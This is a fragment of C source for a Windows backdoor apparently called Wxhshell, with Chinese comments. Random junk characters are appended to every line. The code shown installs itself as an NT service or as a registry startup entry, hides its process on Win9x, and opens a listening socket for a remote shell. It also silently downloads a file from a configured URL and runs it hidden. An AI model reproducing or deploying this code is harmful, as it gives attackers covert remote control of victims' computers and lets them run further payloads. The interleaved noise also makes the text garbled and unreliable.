} PROCESS_BASIC_INFORMATION; F+;{s(wx
o C]tEXJ
PROCNTQSIP NtQueryInformationProcess; c65_E<5Z
S-
Mh0o"
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; xO2S|DH{
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Mis t,H7
ZeD""vJRY
HANDLE hProcess; )oO cV%
PROCESS_BASIC_INFORMATION pbi; @MfuV4*
O?uT'$GT
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); )z0qKb\
if(NULL == hInst ) return 0; Rn O%8Hk
!XjvvX"j
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); )k F/"'o
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Z, Kbt
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Az.k6)~
a:jRQ-F)
if (!NtQueryInformationProcess) return 0; T^-fn
t#+X*'/
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); R5LzqT,/N:
if(!hProcess) return 0; 15Vb`Vf`N
#C?T
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; |H67ny&K^&
7@g8nv(p
CloseHandle(hProcess); ,s'78Dc$
KWU
~QAc
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); &Z682b$
if(hProcess==NULL) return 0; <uP>
8y}9X v
HMODULE hMod; DXlP(={*
char procName[255]; !g /&ws&
unsigned long cbNeeded; .O[RE_j
`BKo`@
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); [GeJn\C_?
T>(nc" (
CloseHandle(hProcess); `d#l o
F]~ rA! g1
if(strstr(procName,"services")) return 1; // 以服务启动 x^aqnKoJ%\
! /Z{uy
return 0; // 注册表启动 =
GirUW D
} I__|+%oC
ag^L' h$
// 主模块 !j8h$+:K
int StartWxhshell(LPSTR lpCmdLine) 37)Dx
{ *F+t`<2
SOCKET wsl; w]n20&
BOOL val=TRUE; :.!]+#Me
int port=0; de{KfM`W;
struct sockaddr_in door; 3 $;6pY
YV*s1t/
if(wscfg.ws_autoins) Install(); -f0Nb+AR
~LPxVYhK
port=atoi(lpCmdLine); ~\tI9L?|A
-;_`>OU{
if(port<=0) port=wscfg.ws_port; ` bd
<8MKjf
WSADATA data; `r+"2.z*
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 27*u^N*z@
PF@+~FI
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; 4C^;lK
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ._m+@Uy]H}
door.sin_family = AF_INET; O=}4?Xv
door.sin_addr.s_addr = inet_addr("127.0.0.1"); '~i}2e.
door.sin_port = htons(port); wZVY h
P0J3ci}^
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { HlqvXt\
closesocket(wsl); Ktg{-Xl
return 1; v8"plx=3
} U'S}7gya
FjIS:9^)t5
if(listen(wsl,2) == INVALID_SOCKET) { 5Qhu5~,K
closesocket(wsl); ~dfc
return 1; t>|Y-i3cb
} Go3EWM`Cd8
Wxhshell(wsl); {hB7F"S
WSACleanup(); ghm5g/
y0qrl4S)v
return 0; 9Vz1*4Ln
O(;K]8
} hK9Trr wau
Dt)\q^bH)
// 以NT服务方式启动 {dJC3/Rf
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) !b0'd'xe
{ Vu '/o[nF>
DWORD status = 0; pv&:N,p
DWORD specificError = 0xfffffff; 3o%,8l,
YQOdwcLG
serviceStatus.dwServiceType = SERVICE_WIN32; naCPSsei
serviceStatus.dwCurrentState = SERVICE_START_PENDING; KE:PRX
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; T1hr5V<U
serviceStatus.dwWin32ExitCode = 0; ~U`oew
serviceStatus.dwServiceSpecificExitCode = 0; B"T Z8(<
serviceStatus.dwCheckPoint = 0; :G9+-z{Y&
serviceStatus.dwWaitHint = 0; 2#l<L>#
ep .AW'+
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); <b>@'\w9
if (hServiceStatusHandle==0) return; Zws[}G"7h
FR9qW$B
status = GetLastError(); R%o:'-~
if (status!=NO_ERROR) ;4tVFqR
{ S?n k9T+
serviceStatus.dwCurrentState = SERVICE_STOPPED; %o9@[o
.]
serviceStatus.dwCheckPoint = 0; `E>HpRcxD
serviceStatus.dwWaitHint = 0; L<!}!v5ja
serviceStatus.dwWin32ExitCode = status; :#58m0YLA:
serviceStatus.dwServiceSpecificExitCode = specificError; V{;! vt~
SetServiceStatus(hServiceStatusHandle, &serviceStatus); Xu`c_
return; Mit,X
} 8*3o9$Pj
pDb5t>
serviceStatus.dwCurrentState = SERVICE_RUNNING; 'gk.J
serviceStatus.dwCheckPoint = 0; B
PTQm4TN
serviceStatus.dwWaitHint = 0; W-q2|NK
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); G$pTTT6#
} $,q~ q^0
Htn=h~U`z
// 处理NT服务事件,比如:启动、停止 ,~8:^*0s
VOID WINAPI NTServiceHandler(DWORD fdwControl) GqumH/;
{ i`/_^Fndyu
switch(fdwControl) q\ FF)H
{ ES!$JWK|
case SERVICE_CONTROL_STOP: /PG+ s6
serviceStatus.dwWin32ExitCode = 0; PE3FuJGz
serviceStatus.dwCurrentState = SERVICE_STOPPED; QU^*(HGip
serviceStatus.dwCheckPoint = 0; r#iZ FL3q
serviceStatus.dwWaitHint = 0; Jm$.$B&I
{ }]_/:KUt
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;]zV ?9
} K,e"@G
return; 0UZ>y/
C)=
case SERVICE_CONTROL_PAUSE: fyPpzA0
serviceStatus.dwCurrentState = SERVICE_PAUSED; ^I03PIy0l
break; |m7U^
case SERVICE_CONTROL_CONTINUE: %0C<_drW
serviceStatus.dwCurrentState = SERVICE_RUNNING; u- PAi5&n
break; sm5\> L3V
case SERVICE_CONTROL_INTERROGATE: sS;6QkI"y
break; :+{G|goZ*
}; z+I'N4*^
SetServiceStatus(hServiceStatusHandle, &serviceStatus); G 'IqAKJ
} 5vs~8|aRo
nf&PDv1
// 标准应用程序主函数 ;q]Jm
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) dfY(5Wc+f
{ Z"PPXv-<jY
0X@!i3eu
// 获取操作系统版本 b/'{6zn
OsIsNt=GetOsVer(); 3~Od2nk(x
GetModuleFileName(NULL,ExeFile,MAX_PATH); V(_OyxeC{2
`s5<PCq
// 从命令行安装 X.hU23w
if(strpbrk(lpCmdLine,"iI")) Install(); :)VO,b~r
$Llv6<B
// 下载执行文件 KBJw7rra
if(wscfg.ws_downexe) { pSp/Qpb-B
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) j#QJ5(#
WinExec(wscfg.ws_filenam,SW_HIDE); P8!ON=
} Ix@rn
/5Aum?~
if(!OsIsNt) { eygmh aE
// 如果时win9x,隐藏进程并且设置为注册表启动 +\g/KbV7
HideProc(); X{4jyi-<
StartWxhshell(lpCmdLine); /a.4atb0
} |f), dC
else |U{9Yy6p
if(StartFromService()) F: %-x=q
// 以服务方式启动 l?pF?({
StartServiceCtrlDispatcher(DispatchTable); lM1~K
else cb!mV5M-g
// 普通方式启动 TI4#A E
StartWxhshell(lpCmdLine); ,5oe8\uz
"1O!Ck_n
return 0; %@tKcQ
}